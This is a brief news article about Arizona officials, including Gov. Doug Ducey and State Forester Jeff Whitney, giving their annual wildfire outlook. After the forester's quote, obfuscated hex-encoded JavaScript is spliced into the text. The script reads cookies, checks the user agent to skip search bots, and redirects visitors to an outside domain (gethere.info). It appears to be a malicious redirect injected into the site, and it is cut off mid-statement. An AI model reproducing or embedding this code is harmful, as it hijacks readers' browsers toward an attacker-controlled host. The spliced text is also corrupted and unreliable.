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State officials discuss upcoming wildfire season

Arizona State Forester Jeff Whitney gives the state's annual wildfire outlook on April 11 at the Arizona Capitol. (Photo by Katie Campbell, Arizona Capitol Times)

Arizona State Forester Jeff Whitney gives the state’s annual wildfire outlook on April 11 at the Arizona Capitol. Gov. Doug Ducey, center, looks on. (Photo by Katie Campbell, Arizona Capitol Times)

Arizona officials say they expect a lower-than-normal wildfire season in the state’s higher elevation areas, but see potential for an above-average fire season at lower elevations.

Gov. Doug Ducey was joined by forest and fire officials Tuesday to offer their annual outlook on the upcoming wildfire season.

Officials say the amount of precipitation, moisture, and snowfall this spring has left Arizona with an excess of fine fuels. Wet weather has reduced concerns about potential wildfires in the upper elevations of the state. But they anticipate an extremely busy fire season from the mid elevations down to the deserts and grasslands in southern Arizona.

State Forester Jeff Whitney said Arizona is seeing about the same number of fires as 2016 though this year’s fires are growing larger and faster.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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